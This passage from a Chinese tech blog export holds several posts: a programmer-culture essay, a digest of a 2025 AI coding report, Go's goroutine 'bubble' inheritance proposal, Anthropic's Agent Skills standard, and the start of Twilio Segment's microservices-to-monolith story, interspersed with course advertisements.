如果说上一代程序员的特征是“忍耐”和“沉默”，那么新一代程序员的特征就是**“表达”和“重塑”。他们不屑于酒桌文化，因为他们更崇尚“技术平权”和“透明沟通”**。\n这不再是一群只会修电脑的“工具人”，而是一群试图用技术手段去重构生活方式的“新人类”。\n他们在 Github 上构建世界，也在小红书和 Tiktok 上分享生活。他们不是不懂生活，他们是在用代码重新定义什么是“酷”的生活。\n左手 AI，右手星辰大海 影视剧还在忙着刻画我们“修电脑”的窘态，却完全没意识到，这群“配角”，此刻正在现实世界中酝酿着怎样的惊涛骇浪。\n我们正站在人类历史最疯狂的转折点上。\n当你嘲笑程序员不懂“风花雪月”时，他们正在做上帝的工作：\n左手，赋予机器“灵魂”与“肉体”： 那些让你惊叹的 ChatGPT、Claude、DeepSeek，背后是程序员用代码搭建的神经网络。宇树G1/H1，特斯拉的 Optimus等人形机器人，正在走进现实。是程序员将逻辑注入钢铁躯体，让机器人学会行走、抓取，甚至学会思考。具身智能的爆发，将彻底重塑物理世界。\n右手，征服星辰大海： SpaceX 的“筷子”夹住星舰的那一刻，全球沸腾。那毫秒级的姿态调整，不是靠吟诗作对实现的，而是靠几十万行严密的控制算法。\n谁才是这个时代的“男一号”？\n是那些在剧里谈情说爱的主角吗？不。\n是那些在屏幕后，用 Go 语言重构微服务，用 Python 训练大模型，用 C++ 控制火箭姿态的所谓“码农”。\n流行文化在消费我们，而我们在重塑流行文化赖以生存的世界。\n国学典籍是面向过去的接口，它教我们如何维系一个稳定的人情社会；\n编程语言是面向未来的接口，它教我们如何与硅基生命对话，如何在此刻定义未来 30 年的规则。\n小结：致敬时代的推手 也许在未来的很长一段时间里，影视剧里的程序员依然会是那个戴着眼镜、不懂风情的“路人甲”。\n没关系。让我们接受这种“误读”。\n因为这种“忽视”，恰恰是一种保护色。它让我们这群人能远离嘈杂的名利场和复杂的人际关系，心无旁骛地坐在屏幕前。\n我们不需要修电脑，我们在修补这个世界的 Bug；\n我们不需要当偶像剧的主角，我们在编写人类文明的下一个版本。\n致敬每一位“不善言辞”，但正在改变世界的程序员。\n作为程序员，你曾在哪一刻因为“不懂人情世故”或“不关注大众话题”而被误解过？而在那一刻，你脑子里其实正在思考什么硬核的技术问题？\n欢迎在评论区，分享你的“社死”与“高光”时刻。\n未来30年，是属于工程师的黄金时代。\n别让你的技能停留在“修电脑”的阶段。想要掌握 Go 语言在云原生、AI 工程化 中的核心能力，紧跟 具身智能 的浪潮？\n加入我的 「Go \u0026amp; AI 精进营」。在这里，我们不聊厚黑学，只聊如何拿到通往未来的船票。\n[此处放置知识星球二维码]\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/21/real-programmers-dont-fix-computers-ai-stars-and-seas/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/real-programmers-dont-fix-computers-ai-stars-and-seas-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/21/real-programmers-dont-fix-computers-ai-stars-and-seas\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/21/real-programmers-dont-fix-computers-ai-stars-and-seas\"\u003ehttps://tonybai.com/2025/12/21/real-programmers-dont-fix-computers-ai-stars-and-seas\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近陪家人看几部青春都市剧，实在忍不住想吐槽。\u003c/p\u003e\n\u003cp\u003e无论题材如何变，编剧笔下的程序员永远是那副德行：戴着黑框眼镜，背着双肩包，唯唯诺诺。而他们的戏份，似乎永远逃不开那一幕——\u003c/p\u003e","title":"别演了，真实的程序员根本不修电脑：我们左手AI，右手星辰大海"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/20/ai-coding-era-productivity-leap-2025-developer-ecosystem-report\n大家好，我是Tony Bai。\n“如果你觉得今年的 PR (Pull Request) 变大了，你的感觉是对的。如果你觉得代码写得更快了，这也是对的。事实上，整个软件开发的节奏，正在被 AI 全面重塑。”\n近日，Greptile 发布了《2025 年 AI 编码现状报告》(The State of AI Coding 2025)。这份基于大量真实开发数据的报告，为我们描绘了一个令人兴奋，同时也充满挑战的新世界。AI 不再是一个锦上添花的辅助工具，它正在成为驱动工程效能指数级增长的核心引擎。\n本文将带你深入解读这份报告的核心发现，看看在 AI 的加持下，软件工程正在发生怎样的巨变。\n生产力的“大跃进”——数据不会说谎 报告中最直观、也最令人震撼的，是关于工程效能 (Velocity) 的数据。AI 工具的普及，正在让开发者以一种前所未有的速度产出代码。\n代码产出量激增 76% 数据显示，开发者的平均代码产出量，从 年初的 4,450 行/人，飙升到了年底的 7,839 行/人。\n这是一次 76% 的惊人增长。AI 就像是一个不知疲倦的“外挂”，让每一位开发者都变成了“高产作家”。\nPR 变得更大、更密集 这种生产力的提升，直接反映在代码提交的形态上：\nPR 规模变大：PR 的中位数大小从 57 行增加到了 76 行 (+33%)。 信息密度更高：每个文件的修改行数增加了 20%。 这意味着，开发者不再是小心翼翼地修补代码，而是更有底气进行大刀阔斧的重构和功能开发。AI 赋予了我们处理更大上下文、更复杂逻辑的能力。\n中型团队受益最大 有趣的是，6-15 人的中型团队成为了这场变革的最大赢家，其人均产出增长了 89%。这或许暗示了，在这个规模下，沟通成本尚在可控范围，而 AI 带来的单兵作战能力提升被最大化地释放了出来。\n工具链的“军备竞赛”——谁是赢家？ 在 AI 工具的生态位之争中，我们也看到了一些明显的赢家和趋势。\nAI 记忆 (Memory) 的崛起 随着 AI 应用变得越来越复杂，如何让 AI “记住”上下文成为了关键。报告显示，mem0 以 59% 的市场份额，在 AI 记忆基础设施领域占据了绝对的统治地位。这表明，开发者正在从简单的“问答式”交互，转向构建具有长期记忆和个性化能力的智能体。\n向量数据库的“战国时代” 与记忆领域的“一家独大”不同，向量数据库市场呈现出群雄逐鹿的态势。Weaviate 虽然以 25% 暂时领先，但还有 6 个竞争对手（如 Pinecone, ChromaDB, pgvector 等）的市场份额都在 10%-25% 之间。这场关于 AI “长期存储”的战争，远未结束。\nSDK 的爆发式增长 在 LLM 提供商的 SDK 下载量上，OpenAI 依然以 1.3 亿次下载量遥遥领先。但 Anthropic (Claude 的母公司) 的增长速度令人咋舌——自 2023 年 4 月以来增长了 1547 倍！两者之间的差距正在迅速缩小，这反映了 Claude 系列模型（尤其是 Sonnet ）在编码能力上的卓越表现，正在赢得越来越多开发者的青睐。\n模型之战——速度、成本与智能的权衡 对于开发者来说，选择哪个模型作为“副驾驶”至关重要。报告对几大主流模型进行了详尽的基准测试。\n速度之王：OpenAI 在吞吐量 (Throughput) 方面，OpenAI 的 GPT-5 Codex 和 GPT-5.1 依然是无可争议的王者，能够维持每秒 50-60 个 token 的生成速度。这意味着在需要快速生成大量代码或进行即时交互的场景下，OpenAI 依然是首选。\n响应之王：Anthropic 然而，在 首字延迟 (TTFT) 上，Anthropic 的 Claude Sonnet 4.5 和 Opus 4.5 实现了反超。它们能在 2.5 秒内返回第一个 token，比 OpenAI 的模型快了一倍以上。这种“秒回”的体验，对于维持开发者的心流状态至关重要。\n成本的考量 在价格上，GPT-5 Codex 和 GPT-5.1 设定了基准线 (1.00x)。相比之下，Claude Sonnet 4.5 的价格是其 2 倍，而 Opus 4.5 更是达到了 3.3 倍。\n这就需要开发者在“极致的智能/响应速度”与“成本”之间做出权衡。对于复杂的逻辑推理任务，Claude 的高溢价或许是值得的；而对于日常的代码补全，OpenAI 的模型可能更具性价比。\n前沿探索——从 RAG 到 Agent 报告的最后，还梳理了近期学术界和工业界的几项关键突破，指明了未来的方向：\nDeepSeek-V3：证明了通过稀疏混合专家 (MoE) 架构，可以在不牺牲性能的前提下，大幅降低推理成本。 Beyond RAG：新的研究 (RetroLM) 提出，对于长上下文任务，直接利用 KV 缓存进行检索，可能比传统的 RAG (检索增强生成) 更有效。 Agent 的进化：从 Search-R1 (让模型学会像人一样使用搜索引擎) 到 SFR-DeepResearch (全自动的深度网页研究智能体)，AI 正在从单纯的“回答问题”，进化为能够自主规划、执行复杂任务的智能体。 小结：拥抱变化，成为“超级个体” 2025 年的 AI 编码报告，向我们展示了一个正在加速奔跑的世界。代码的生产成本正在极速趋近于零，但这并不意味着程序员将要失业。相反，这标志着**“超级个体”时代**的到来。\n在这个时代，一个工程师所能撬动的杠杆，比以往任何时候都要大。我们不再仅仅是代码的“搬运工”，而是 AI 智能体的“指挥官”。\n面对这 76% 的产出增长，我们不仅要问“怎么写得更快”，更要问自己：“我们该用这些多出来的生产力，去构建什么更伟大的东西？”\n资料链接：https://www.greptile.com/state-of-ai-coding-2025\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/20/ai-coding-era-productivity-leap-2025-developer-ecosystem-report/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/ai-coding-era-productivity-leap-2025-developer-ecosystem-report-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/20/ai-coding-era-productivity-leap-2025-developer-ecosystem-report\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/20/ai-coding-era-productivity-leap-2025-developer-ecosystem-report\"\u003ehttps://tonybai.com/2025/12/20/ai-coding-era-productivity-leap-2025-developer-ecosystem-report\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“如果你觉得今年的 PR (Pull Request) 变大了，你的感觉是对的。如果你觉得代码写得更快了，这也是对的。事实上，整个软件开发的节奏，正在被 AI 全面重塑。”\u003c/p\u003e","title":"AI 编码时代的生产力跃迁：2025 年开发者生态报告深度解读"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/20/goroutine-bubble-universe-go-concurrency-new-dimension\n大家好，我是Tony Bai。\ngoroutine 是 Go 并发模型的基石，我们习惯于将其视为一个个轻量、独立的执行单元。然而，近年来，Go 语言中出现了一种新的、微妙的并发概念，Go 核心团队的成员们亲切地称之为 “Goroutine 气泡” (Goroutine Bubbles)。\n这种“气泡”，本质上是一种临时的、附加在 goroutine 上的特殊状态。它像一个无形的罩子，让处于其中的 goroutine 及其执行的代码，表现出与平时不同的行为。\n近日，一个旨在统一所有“气泡”行为的提案（#76477）被 Go 官方接受。这个看似微小的内部“合理化”工作，却深刻地揭示了 Go 语言在可观测性、安全性与并发抽象方面的未来演进方向。本文将带你深入这个正在形成的“气泡宇宙”。\n“气泡宇宙”的成员们 截至 Go 1.25 及即将到来的 Go 1.26，Go 的“气泡宇宙”中已经有了好几位成员，它们各自服务于不同的目的：\npprof 标签 (pprof.SetGoroutineLabels): 这是最早期的气泡雏形。它允许你为 goroutine 附加键值对标签，从而在 CPU 或内存性能剖析（Profiling）中，根据请求 ID 或用户 ID 对 goroutine 进行分类筛选。\ntesting/synctest: 一个用于并发测试的“时间与调度”气泡。在此气泡内创建的所有 goroutine，都会被一个虚拟的时钟和调度器所控制，这让测试复杂的并发逻辑（如超时、定时任务）变得像测试同步代码一样简单且确定。\ncrypto/subtle.WithDataIndependentTiming (Go 1.25 新增): 一个“数据无关时序”气泡。它强制其中的代码以常量时间执行，无论输入数据如何变化，执行时间都保持一致，从而抵御时序侧信道攻击（Timing Attacks）。\nsecret.Do (Go 1.26 计划新增) 一个“机密数据”气泡。其中的代码在执行时会受到运行时的特殊照顾（例如防止变量逃逸到堆上、更积极的内存清零），以确保敏感数据（如私钥、密码）不会在内存中意外泄露。\nfips140.WithoutEnforcement (Go 1.26 计划新增): 一个 FIPS 合规性的“逃生舱”气泡 在 Go 1.24 引入的 FIPS 140-3 严格模式（GODEBUG=fips140=only）下，任何非 FIPS 认证的加密算法都会导致程序崩溃。但在现实中，我们有时需要合法地使用非标准算法（例如，使用 SHA-1 计算 Git 的 commit ID，这并非用于安全签名；或者使用 X25519 配合后量子算法进行混合加密）。\nWithoutEnforcement 就是为了解决这个问题而生：它划定了一个**“免责区域”**，允许在该区域内暂时关闭严格的合规性检查，让代码可以灵活地处理这些特殊场景。\n核心矛盾——“气泡”应该被继承吗？ 这个新提案的核心矛盾在于：当一个处于“气泡”中的 goroutine (父 goroutine)，启动了一个新的 goroutine (子 goroutine) 时，子 goroutine 是否应该自动“继承”父 goroutine 的“气泡”状态？\n在 Go 1.25 中，这个行为是不一致的：\npprof 标签和 synctest 气泡，会被继承。\n而 secret.Do 和 WithDataIndependentTiming 这两个与安全密切相关的气泡，则不会被继承。\n提案的发起人、Go 团队负责人 Austin Clements 认为，这种不一致性是“临时性的、特别处理的”，需要被“合理化”。\n提案的核心：让 secret.Do 和 WithDataIndependentTiming 的气泡也变成可继承的，从而建立一个统一的规则：“所有气泡默认都会被新创建的 goroutine 所继承。”\n设计哲学之争——“解耦” vs. “精确控制” 这个看似简单的“统一”决定，却在 Go 核心团队内部引发了一场关于设计哲学的深刻辩论。\n支持“继承”的论点：API 解耦与实现细节隐藏 Austin Clements 提出的主要论据是解耦。\n“一个 API 内部是否使用 goroutine，必须是一个实现细节，而不应成为其 API 表面的一部分。”\n场景：假设你调用了一个函数 processData(data)，你并不知道也不应该关心 processData 内部是为了并行处理而启动了新的 goroutine，还是在单个 goroutine 中串行完成的。 如果不继承：如果你在一个 secret.Do 气泡中调用了 processData，而它内部恰好启动了新的 goroutine，那么这些子 goroutine 将意外地“逃逸”出机密数据保护的范围，导致安全承诺被打破。这等于将 processData 的内部实现细节（“它使用了并发”）暴露给了调用者。 如果继承：子 goroutine 自动继承“机密”状态，processData 的并发实现被完美地隐藏了起来，API 的封装性得到了保护。 反对“继承”的论点：防止“意外”与“性能炸弹” Go 安全团队的 DanielMorsing 等人则提出了强烈的反对意见，尤其针对 secret.Do。\n“继承可能会将 secret.Do 的状态‘泄漏’到其他 goroutine 中……一个典型的例子是 net/http.Client，一个 goroutine 可能会因为 keep-alive 连接而存活很久。”\n场景：你在一个 secret.Do 气泡中，发起了一次 HTTP 请求。net/http.Client 内部的某个 goroutine，可能会因为连接复用而继续存在，远超 secret.Do 函数的生命周期。 如果继承：这个长寿的 goroutine 将意外地、永久地继承了“机密”状态。secret.Do 为了保证数据安全，会带来一定的性能开销（例如，更频繁的内存清零）。这个“被污染”的 goroutine 将成为一个难以被发现的**“性能时间炸弹”**，在后台默默地拖慢你的整个应用。 为了避免这种情况，反对者甚至提出了一个更激进的方案：在 secret.Do 或 WithDataIndependentTiming 气泡内启动 goroutine，应该直接 panic！ 因为这“几乎可以肯定是一个错误”。\n最终的权衡与未来展望 经过激烈的讨论，Go 团队最终达成了一个务实的共识，并接受了提案：\n1. 统一规则：所有“气泡”都将被继承。\n团队的最终权衡是，保持 API 解耦的重要性，高于防止开发者“误用”的可能性。Filippo Valsorda 的观点极具代表性：\n“我们不能让语言的限制，悄无声息地跨越模块的边界……‘你误用了 secret.Do，所以你的程序没那么安全或变慢了’，这是可以接受的。但‘你误用了 secret.Do，所以现在你的依赖库必须束手束脚’，这是不可接受的。”\n2. 增加可观测性作为“解毒剂”\n为了缓解“性能时间炸弹”的担忧，团队也采纳了 mknyszek 的建议：必须为这些继承的状态，增加相应的可观测性。\n未来的 goroutine 堆栈转储 (goroutine dumps) 中，应该能清晰地标记出一个 goroutine 当前是否处于 secret 或 DIT (数据无关时序) 状态。\nruntime/metrics 中也应该考虑增加相应的指标，来统计处于这些特殊状态的 goroutine 数量。\n3. 对 panic 方案的否定\n激进的 panic 方案被否决了。因为它同样违反了“实现细节隐藏”的原则。你无法预知你调用的某个第三方库，在未来的某个版本中，是否会为了优化而引入并发。\n小结：Go 并发模型正在演进 “Goroutine 气泡”的出现及其继承规则的统一，标志着 Go 的并发模型，正在从一个纯粹的“执行单元”模型，向一个附加了“上下文状态”的、更丰富的模型演进。\n这个变化，对于大多数日常开发者来说，可能在短期内是无感的。但它深刻地体现了 Go 团队在设计语言时所秉持的、高度一致的哲学：\nAPI 的清晰与解耦，是最高优先级。 不向语言添加“魔法”，但为“魔法”的后果提供可观测的工具。 在便利性、安全性与性能之间，进行永恒的、艰难但必要的权衡。 密切关注这些“气泡”的发展，将是我们理解 Go 语言未来走向的一个重要窗口。\n资料链接：https://github.com/golang/go/issues/76477\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/20/goroutine-bubble-universe-go-concurrency-new-dimension/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/goroutine-bubble-universe-go-concurrency-new-dimension-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/20/goroutine-bubble-universe-go-concurrency-new-dimension\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/20/goroutine-bubble-universe-go-concurrency-new-dimension\"\u003ehttps://tonybai.com/2025/12/20/goroutine-bubble-universe-go-concurrency-new-dimension\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003egoroutine 是 Go 并发模型的基石，我们习惯于将其视为一个个轻量、独立的执行单元。然而，近年来，Go 语言中出现了一种新的、微妙的并发概念，Go 核心团队的成员们亲切地称之为 \u003cstrong\u003e“Goroutine 气泡” (Goroutine Bubbles)\u003c/strong\u003e。\u003c/p\u003e","title":"Goroutine “气泡”宇宙——Go 并发模型的新维度"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/19/anthropic-agent-skills-open-standard-launch\n大家好，我是Tony Bai。\n就在刚刚（美国时间2025年12月18日），Anthropic 正式宣布将 Agent Skills 发布为开放标准。\n这是继2024年末推出 MCP (Model Context Protocol)标准 之后，Anthropic 在构建 AI 开放生态上的又一记重拳，彻底补齐了 AI 原生应用的**“能力层”**拼图。\n如果说 MCP 是 AI 时代的 “USB 接口”，解决了大模型连接外部工具与数据（如 GitHub, Google Drive）的标准化问题；\n那么 Agent Skills 就是 AI 时代的 “通用驱动程序”，它定义了 AI 该如何使用这些工具来完成复杂的业务流程。\nOpenCode, Cursor, Letta 等头部开发工具已率先宣布支持。这意味着，开发者编写一套 Skill，就可以在所有支持该标准的 AI 平台（Claude, Cursor 等）上无缝运行。\nAI 开发终于告别了“手搓 Prompt”的草莽时代，进入了“标准化封装”的工业时代。\n什么是 Agent Skill？ 简单来说，Skill 就是一个可移植的“能力包”。\n在物理形态上，它就是一个文件夹，里面包含了让 AI 完成特定任务所需的指令（SKILL.md）、脚本（Scripts）和资源（Resources）。\n你可以把它想象成给 AI 安装的一个**“APP”或“岗位 SOP”**。\n根据 agentskills.io 的官方规范，Skill 拥有一个极具工程价值的特性：渐进式披露 (Progressive Disclosure)。\nMetadata First： 系统只需加载约 100 tokens 的元数据，让 AI 知道“我学会了/拥有什么技能”。 On-Demand Loading： 只有当 AI 真正决定使用该技能时，才会加载完整的指令（\u0026lt;5k tokens）和相关脚本。 这意味着你可以给一个 Agent 装备 1000 个技能（从写 SQL 到 查财报），但平时只占用极少的上下文（Context），只有在干活时才调用相关记忆。这完美解决了长期以来困扰开发者的Token 浪费和上下文干扰问题。\n开发者最关心的 3 个问题 在研究了 Anthropic 的技术文档后，我整理了开发者最容易混淆的几个概念：\nQ1: Skill 和 Prompt 有什么区别？\nPrompt (提示词)： 是反应式的、一次性的。比如“帮我润色这段代码”。它通常不跨会话持久化。 Skill (技能)： 是主动式的、持久化的。比如“公司 Java 编码规范与 CR 指南”。一旦安装，AI 在任何对话中都知道应当遵守这套规范。 Q2: Skill 和 MCP 到底怎么分工？（关键）\n这是一个经典的“硬件 vs 软件”的关系。\nMCP (连接层)： 它是管道。它让 Claude等大模型 能“连上”你的 PostgreSQL 数据库等。它解决的是**“能不能访问”**的问题。 Skill (能力层)： 它是逻辑。它教 Claude等大模型 “在查询这个数据库时，必须先检查权限，且不能使用 SELECT ”。它解决的是*“做得对不对”**的问题。 最佳实践： 用 MCP 建立连接，用 Skill 定义流程。 Q3: 我该如何开始？\nSkill 的格式非常简单且开放。你只需要创建一个包含 SKILL.md 的目录。\n--- name: code-review description: Analyze code based on OWASP top 10 standards. --- # Instructions 1. Check for SQL injection... 这种**“以文档定义能力”**的轻量级模式，正是 SDD (Spec-Driven Development) 理念的极致体现。\n意义：生态闭环已成 随着 Agent Skills 的发布，AI 原生应用的架构分层终于清晰了。我们可以用一张图来看懂这个全新的生态栈：\n对于开发者而言，“Prompt Engineering”正在消亡，而“Skill Engineering”正在兴起。\n未来的高价值开发者，不再是那些会写漂亮提示词的人，而是那些能将企业隐性知识（Tacit Knowledge），封装成标准化的、可移植的 Agent Skills 的人。\n如何集成？ Anthropic 提供了三种极简的集成路径：\nClaude Apps 用户： 直接在 Settings \u0026gt; Capabilities \u0026gt; Skills 中浏览目录并启用（类似安装 Chrome 插件）。 Claude Code 用户： 将 Skill 文件夹放入项目目录，或从插件市场安装。 API 开发者： 通过 /v1/skills 端点动态挂载技能。 深度实战：编写你的第一个 Agent Skill 标准已经发布，工具已经就绪。现在的问题是：你如何编写出让 AI 精准执行、不产生幻觉的 Skill 文档？\n在我的极客时间专栏**《AI 原生开发工作流实战》**中，我已第一时间更新关于 Agent Skills 的实战内容。\n我们将深入剖析 agentskills.io 的官方规范，并带你进行硬核实战：\n深度拆解官方 Skill： 分析标准 Skill 的目录结构与元数据设计技巧。 Go 代码 Review Skill 实战： 手把手编写一个专用于 Go 语言项目的 Code Review Skill，定义从 Lint 检查到逻辑验证的完整 SOP，并将其部署到开发环境中。 让你亲身体验从**“指挥 AI（Prompting）”到“配置 AI（Configuring）”**的质变。\n别让你的 AI 只有“蛮力”，给它安装“驱动”。扫描下方卡片，跟上 AI 工程化的最新浪潮。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/19/anthropic-agent-skills-open-standard-launch/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/anthropic-agent-skills-open-standard-launch-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/19/anthropic-agent-skills-open-standard-launch\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/19/anthropic-agent-skills-open-standard-launch\"\u003ehttps://tonybai.com/2025/12/19/anthropic-agent-skills-open-standard-launch\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e就在刚刚（美国时间2025年12月18日），Anthropic 正式宣布将 \u003cstrong\u003eAgent Skills\u003c/strong\u003e 发布为开放标准。\u003c/p\u003e\n\u003cp\u003e这是继2024年末推出 \u003cstrong\u003eMCP (Model Context Protocol)标准\u003c/strong\u003e 之后，Anthropic 在构建 AI 开放生态上的又一记重拳，彻底补齐了 AI 原生应用的**“能力层”**拼图。\u003c/p\u003e","title":"继 MCP 之后，Anthropic 再放大招：Agent Skills 正式发布为开放标准！"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/19/twilio-say-goodbye-microservices\n大家好，我是Tony Bai。\n“微服务”——这个在过去十年间统治了软件架构领域的“最佳实践”，承诺给我们带来更高的模块化、更快的迭代速度和更强的团队自治。然而，当一个团队，深陷于 140 多个服务、140 多个代码仓库、140 多个独立队列的泥潭中，开发速度骤降、缺陷率爆炸、on-call 工程师夜不能寐时，这个“最佳实践”是否已然变成了一个“最大负担”？\n这不是一个假设，而是 Twilio Segment 团队曾亲身经历的“噩梦”。\n这篇文章，正是对他们那场史诗般的架构“大迁徙”的复盘：一次勇敢的、从微服务“树”的每个痛苦枝桠上坠落，最终回归单体架构“坚实地面”的旅程。这也是一个关于技术选型、规模化陷阱和工程务实主义的真实故事。\n微服务的“蜜月期”——它曾解决了真实的问题 故事的开端，微服务确实是“英雄”。Twilio Segment 的核心业务是每秒接收数十万个事件，并将它们分发到上百个不同的下游目标（如 Google Analytics, Mixpanel 等）。\n最初的单队列架构，很快就遇到了**“队头阻塞” (Head-of-Line Blocking)** 的问题：只要一个下游目标（例如 Mixpanel）出现故障或变慢，它的重试事件就会堵塞整个队列，导致所有其他正常目标的事件分发都被延迟。\n为了解决这个问题，团队自然而然地拥抱了微服务：为每个下游目标创建一个独立的服务、一个独立的队列和一个独立的 repo。\n这个方案在当时是完美的：\n故障隔离：一个目标的故障，再也不会影响其他目标。 独立部署：团队可以独立地维护和部署每个目标的服务。 测试隔离：每个 repo 有自己独立的测试套件，互不干扰。 在最初的阶段，微服务架构确实为团队带来了更高的稳定性和开发速度。\n规模化的“噩梦”——当“收益”变成“税收” 然而，随着下游目标的数量从几十个增长到超过 140 个，当初的“收益”逐渐变成了无法承受的“税收”。\n共享库的“版本地狱” 为了避免在 140 多个 repo 中重复造轮子，团队创建了共享库来处理通用逻辑（如事件转换、HTTP 请求处理）。但这很快就演变成了一场灾难：\n更新成本巨大：修改一个共享库，理论上意味着需要测试并重新部署 140 多个服务。这是一个极其耗时且风险巨大的操作。\n版本分歧：为了图方便，工程师们往往只在当前需要改动的服务中更新共享库版本。久而久之，不同服务依赖的共享库版本开始严重分歧，曾经的“统一性”优势荡然无存。\n运维的“线性增长” 每增加一个新的下游目标，就意味着：\n一个新的服务\n一个新的代码仓库\n一个新的消息队列\n一套新的 CPU/内存资源配置\n一套新的告警和监控\n“我们的运维开销，随着每个目标的增加而线性增长。on-call 工程师因为某个小流量目标的负载尖峰而被半夜叫醒，已是家常便饭。”\n开发速度的“断崖式下跌” 独立的 repo 曾被认为是优点，但它也导致了测试条件的恶化。由于修复另一个 repo 中不相关的失败测试很麻烦，团队逐渐对失败的测试变得麻木。这导致了技术债的快速累积。\n“一个本应一两个小时就能完成的小改动，最终往往需要花费数天甚至一周的时间来完成。”\n团队发现，他们已经无法取得任何进展，3 个全职工程师的大部分时间，都花在了“维持系统不死”上。微服务，这个曾经的“解放者”，如今已变成了一个由 100 多个“问题儿童”组成的、难以管理的“泥潭”。\n“大迁徙”——回归单体，拥抱 